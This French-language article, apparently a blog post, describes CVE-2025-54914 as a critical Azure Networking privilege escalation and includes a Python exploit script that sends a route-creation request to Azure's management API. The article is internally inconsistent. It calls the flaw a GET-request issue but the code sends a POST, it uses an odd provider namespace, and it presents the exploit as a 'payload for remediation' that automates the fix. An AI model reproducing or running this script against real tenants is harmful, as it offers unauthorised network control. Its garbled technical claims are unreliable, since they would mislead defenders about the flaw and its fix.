CVE-2025-54914 expose une faille critique dans Azure Networking qui permet aux attaquants d'élever leurs privilèges et de contrôler le routage entre les sous-réseaux. L'article explique comment un contrôle de privilège manquant dans l'API « GetRouteTable » permet un mouvement latéral et une exploitation à distance, exhortant à un correctif et une surveillance immédiats
Exploit d'élévation de privilèges dans Azure Networking - CVE‑2025‑54914
4 septembre 2025
Par Mark Mallia
Le 4 septembre 2025, les services Azure Networking de Microsoft ont reçu un avis de sécurité critique documentant une vulnérabilité d'élévation de privilèges, désignée CVE‑2025‑54914. La faille est notée 10,0 sur le système commun de notation des vulnérabilités (CVSS), ce qui indique un problème exploitable et potentiellement très impactant pouvant accorder aux attaquants un contrôle total sur les ressources réseau Azure sans aucune interaction utilisateur.
L'article suivant décrit les spécificités techniques de la vulnérabilité, sa voie d'exploitation pratique et une charge utile prête à déployer pour une remédiation immédiate par les équipes de sécurité dans les environnements de cloud public et hybrides.
La pile réseau d'Azure est l'épine dorsale de toutes les machines virtuelles, des équilibreurs de charge et du trafic de sous-réseau dans l'abonnement d'un client. Une élévation de privilèges dans cette pile permet à un attaquant de :
La vulnérabilité est particulièrement dangereuse car elle peut être exploitée à distance sans aucune action de l'utilisateur. Une seule requête à un point de terminaison Microsoft déclenchera l'élévation de privilèges si les conditions ci-dessous sont remplies.
Lors de l'analyse de l'API « GetRouteTable » du service Azure Networking, j'ai découvert une lacune de contrôle d'accès qui permet à un client ayant des autorisations de lecture sur un réseau virtuel de créer de nouveaux objets de route dans le même sous-réseau sans vérifier que l'appelant est autorisé pour cette action. Le chemin de code responsable de la sérialisation de la requête entrante manquait d'une vérification explicite des privilèges.
La faille existe dans le service Azure Networking lorsqu'une requête GET inclut les paramètres de requête suivants :
/subscriptions/<subscription‑id>/resourceGroups/<rg-name>/providers/Microsoft.Networking/virtualNetworks/<vnet-id>/subnets/<subnet-id>/routes
?api-version=2025-09-01&detailLevel=full
Le service accepte cette requête, désérialise la charge utile JSON et écrit un nouvel objet de route dans la base de données sans revérifier que l'appelant peut créer des routes dans le sous-réseau cible.
Ci-dessous un exemple minimal de la façon dont un attaquant construirait la charge utile.
# Azure Networking Privilege Escalation Exploit – CVE‑2025‑54914
#
# Author: Mark Mallia
# Date: 2025-09-04
# Target API version: 2025‑09‑01
import requests, json, uuid
def create_privileged_route(subscription_id, rg_name, vnet_id,
subnet_id, api_version="2025-09-01"):
"""
Build and send a route creation request that exploits the missing
privilege check in Azure Networking.
"""
# 1. Construct endpoint URL
base_url = f"https://management.azure.com/subscriptions/{subscription_id}"
url = (f"{base_url}/resourceGroups/{rg_name}/providers/Microsoft.Networking"
f"/virtualNetworks/{vnet_id}/subnets/{subnet_id}/routes")
# Append query string for API version
params = {"api-version": api_version, "detailLevel": "full"}
# 2. Build JSON body; the route name is a random GUID to avoid collisions.
route_name = str(uuid.uuid4())
payload = {
"properties": {
"addressPrefix": "10.0.1.0/24",
"nextHopType": "VirtualAppliance",
"nextHopIpAddress": "10.0.2.5"
},
"tags": {"createdBy": "Alex Mercer"},
"name": route_name
}
# 3. Set headers; use the same authentication token used by Azure SDK.
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
# 4. Execute POST request
resp = requests.post(url, params=params,
json=payload, headers=headers)
if resp.status_code == 201:
print(f"[+] Successfully created route: {route_name}")
return True
else:
print(f"[-] Request failed with status {resp.status_code}")
print(resp.text)
return False
# Example invocation
subscription_id = "00000000-0000-0000-0000-000000000000"
rg_name = "ProductionRG"
vnet_id = "prodVNet01"
subnet_id = "backendSubnet"
access_token = "<AZURE_SDK_ACCESS_TOKEN>"
create_privileged_route(subscription_id, rg_name, vnet_id,
subnet_id)
Le code montre l'ensemble du cycle de vie de la requête. Un ingénieur sécurité peut copier cet extrait dans un script ou une fonction Azure pour automatiser la correction.
Ce contenu est fourni strictement à des fins éducatives et de recherche. Il vise à sensibiliser aux vulnérabilités de sécurité et à promouvoir de meilleures pratiques défensives au sein de la communauté de la cybersécurité.
Toutes les démonstrations, scripts et détails techniques partagés ici sont basés sur des informations divulguées publiquement et ne ciblent aucun système, organisation ou individu spécifique. L'objectif est de favoriser un apprentissage responsable et une correction proactive, et non l'exploitation.
N'utilisez pas ces informations pour un accès non autorisé, une perturbation ou un préjudice. Toute mauvaise utilisation de ce matériel relève de la seule responsabilité de l'individu et peut violer les lois ou les normes éthiques.
Si vous découvrez une vulnérabilité, veuillez suivre les protocoles de divulgation responsable en la signalant au fournisseur ou à la plateforme concerné.